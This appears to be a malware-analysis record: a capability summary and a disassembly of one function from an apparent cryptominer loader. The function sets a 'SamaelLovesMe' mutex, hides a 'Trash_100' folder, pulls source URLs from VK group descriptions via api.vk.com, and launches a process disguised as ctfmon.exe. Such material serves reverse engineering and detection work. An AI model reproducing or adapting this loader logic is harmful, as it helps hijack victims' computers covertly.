Function at 0x4096e0
Capabilities:
Check mutex on windows
Create directory
Create process on windows
Create thread
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1c6c
call fcn.0041bdf0
mov eax, dword [0x431860]
xor eax, esp
mov dword [esp + 0x1c68], eax
movq xmm0, qword [str.67803182_70856039]
mov ax, word [0x42d18c]
push ebx
push esi
push edi
push 0x2e
mov word [esp + 0x64], ax
movq qword [esp + 0x54], xmm0
movq xmm0, qword [0x42d184]
lea eax, [esp + 0x66]
push 0
push eax
movq qword [esp + 0x64], xmm0
call fcn.00411940
add esp, 0xc
lea eax, [esp + 0xa1]
push 0x3f
push 0
push eax
mov byte [esp + 0xac], 0
call fcn.00411940
add esp, 0xc
xorps xmm0, xmm0
push 0x400
push 0x4340a8
mov byte [esp + 0x48], 0
movq qword [esp + 0x49], xmm0
mov dword [esp + 0x51], 0
mov word [esp + 0x55], 0
mov byte [esp + 0x57], 0
mov byte [esp + 0x16], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
jne 0x4097ac
mov eax, 0x666666
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1c68]
xor ecx, esp
call fcn.0040cdaf
mov esp, ebp
pop ebp
ret 0x10
mov edx, str.Ahr0CdOVl3jHDw1QCI5YDs5ZD3rLC3qUCNuV
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4097b4
sub edx, ecx
push 0x40
push 0x4340c8
mov ecx, str.Ahr0CdOVl3jHDw1QCI5YDs5ZD3rLC3qUCNuV
call fcn.004056c0
mov eax, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateMutexA]
add esp, 8
mov dword [0x4340c0], eax
push str.SamaelLovesMe
push 1
push 0
call ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp eax, 0xb7
jne 0x409845
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0x7d0
call edi
push str.SamaelLovesMe
push 1
push 0
call ebx
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x409845
push ebx
call esi
mov ecx, dword [esp + 0x1c74]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040cdaf
mov esp, ebp
pop ebp
ret 0x10
push str.SystemDrive
call fcn.0040ee78
mov al, byte [eax]
add esp, 4
mov byte [str.X:.Trash_100], al
push 0
push str.X:.Trash_100
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 2
push str.X:.Trash_100
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 4
mov edx, str.0021
mov ecx, str.version
call fcn.00404ff0
mov ecx, str.ActivateDesktop.exe
add esp, 4
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409890
sub ecx, edx
push ecx
mov edx, str.ActivateDesktop.exe
mov ecx, str.framework_exe
call fcn.00404ff0
add esp, 4
call fcn.00406bb0
call fcn.00408d20
mov bl, byte [esp + 0xe]
mov bh, bl
lea esp, [esp]
push 0x1388
call edi
call fcn.0040a8e0
test al, al
jne 0x4098e1
mov edx, str.VK_didnt_answer._Retrying..._n
mov ecx, 0x4330d0
call fcn.00405410
jmp 0x4098c0
push 0x40
lea edx, [esp + 0xa4]
mov ecx, str.alter_sources
call fcn.004051d0
add esp, 4
test al, al
push 0x42d1b4
lea eax, [esp + 0xa4]
jne 0x40990b
lea eax, [esp + 0x54]
push eax
call fcn.0040eaec
mov esi, eax
add esp, 8
test esi, esi
je 0x4099df
mov edi, edi
mov edx, str.Verifying_source
mov ecx, 0x4330d0
call fcn.00405410
mov edx, esi
mov ecx, eax
call fcn.00405410
mov edx, 0x42cdac
mov ecx, eax
call fcn.00405410
push str._method_groups.getById.xml_fieldsdescriptiongroup_ids
lea eax, [esp + 0xe4]
push 0x80
push eax
call fcn.0040e059
add esp, 0xc
lea eax, [esp + 0x90]
push str.description
push 0x10
push eax
call fcn.0040e059
add esp, 0xc
lea eax, [esp + 0xc70]
push 0
push 0
push 0x1000
push eax
lea edx, [esp + 0xf0]
mov ecx, str.api.vk.com
call fcn.0040a110
add esp, 0x10
test al, al
je 0x4099b7
lea eax, [esp + 0xc70]
push str.banned
push eax
call fcn.0040e530
add esp, 8
test eax, eax
jne 0x4099c6
mov ecx, esi
call fcn.00408b20
test al, al
jne 0x409be9
push 0x42d1b4
push 0
call fcn.0040eaec
mov esi, eax
add esp, 8
test esi, esi
jne 0x409920
test bh, bh
je 0x409c16
push 0x100
lea edx, [esp + 0x374]
mov ecx, str.update_info
call fcn.004051d0
add esp, 4
lea edx, [esp + 0x470]
push 0x800
mov ecx, str.miners_info
call fcn.004051d0
add esp, 4
lea eax, [esp + 0x269]
push 0x103
push 0
push eax
mov byte [esp + 0x274], 0
call fcn.00411940
mov al, byte [0x42cfac]
movq xmm0, qword [str.pgH0BwW]
add esp, 0xc
mov byte [esp + 0x28], al
xor eax, eax
push str.X:.Trash_100
mov dword [esp + 0x2d], eax
mov word [esp + 0x31], ax
mov byte [esp + 0x33], al
mov byte [esp + 0x34], al
mov dword [esp + 0x3d], eax
mov word [esp + 0x41], ax
mov byte [esp + 0x43], al
movq qword [esp + 0x24], xmm0
lea eax, [esp + 0x26c]
xorps xmm0, xmm0
push 0x104
push eax
movq qword [esp + 0x3d], xmm0
call fcn.0040e059
add esp, 0xc
lea eax, [esp + 0x268]
push str.ctfmon.exe
push 0x104
push eax
call fcn.0040e331
lea edx, [esp + 0x2c]
add esp, 0xc
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x409ab3
lea eax, [esp + 0x30]
sub edx, ecx
push 0x10
push eax
lea ecx, [esp + 0x28]
call fcn.004056c0
lea eax, [esp + 0x378]
push str.0021
push eax
call fcn.0040e530
lea ecx, [esp + 0x380]
add esp, 0x10
cmp eax, ecx
je 0x409b97
mov eax, ecx
push 0x42cd84
push eax
call fcn.0040e530
add esp, 8
lea ecx, [eax + 1]
lea edx, [esp + 0x268]
call fcn.0040a9b0
test al, al
je 0x409b97
push ecx
lea edx, [esp + 0x34]
lea ecx, [esp + 0x26c]
call fcn.0040b840
add esp, 4
test eax, eax
jne 0x409cce
push 0x40
push eax
lea eax, [esp + 0xec]
push eax
mov dword [esp + 0xec], 0x44
call fcn.00411940
add esp, 0xc
xor eax, eax
mov word [esp + 0x110], ax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0xe4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x288]
push eax
push 0
mov dword [esp + 0x134], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x409cc9
test bl, bl
jne 0x409bc6
push 0
push 0
push 0x405e40
call fcn.0040e98a
add esp, 0xc
push 0
push 0
push 0x4091a0
call fcn.0040e98a
mov byte [esp + 0x1a], 1
mov bl, byte [esp + 0x1a]
add esp, 0xc
lea eax, [esp + 0x470]
push eax
push 0
push 0x405f60
call fcn.0040e98a
add esp, 0xc
push 0x927c0
call edi
jmp 0x4098c0
mov edx, str.This_was_good_source_n
mov ecx, 0x4330d0
call fcn.00405410
push esi
lea eax, [esp + 0x44]
push 0x10
push eax
call fcn.0040e059
mov byte [esp + 0x1b], 1
mov bh, byte [esp + 0x1b]
add esp, 0xc
jmp 0x4099e7
push 0x100
lea edx, [esp + 0x374]
mov ecx, str.update_info
call fcn.004051d0
add esp, 4
test al, al
je 0x409c43
xor dl, dl
lea ecx, [esp + 0x370]
call fcn.00408990
jmp 0x409c4a
push 0x1388
call edi
push str.0021
lea eax, [esp + 0x164]
push 0x104
push eax
call fcn.0040e059
add esp, 0xc
lea eax, [esp + 0x160]
push 0x42cd84
push 0x104
push eax
call fcn.0040e331
lea ecx, [esp + 0x16c]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409c88
sub ecx, edx
mov esi, 0x104
mov eax, esi
sub eax, ecx
lea edx, [esp + 0x160]
add edx, ecx
push eax
mov ecx, str.backup_url
call fcn.004051d0
add esp, 4
test al, al
jne 0x409cf6
lea ecx, [esp + 0x160]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409cc0
jmp 0x409cda
call fcn.004088e0
push 0x3a98
call edi
call fcn.00408900
sub ecx, edx
push 0x4340c8
sub esi, ecx
lea eax, [esp + 0x164]
add eax, ecx
push esi
push eax
call fcn.0040e059
add esp, 0xc
push str.reserved.samael_update
lea eax, [esp + 0x164]
push 0x104
push eax
call fcn.0040e331
add esp, 0xc
xor dl, dl
lea ecx, [esp + 0x160]
call fcn.00408990
call fcn.00408900
int3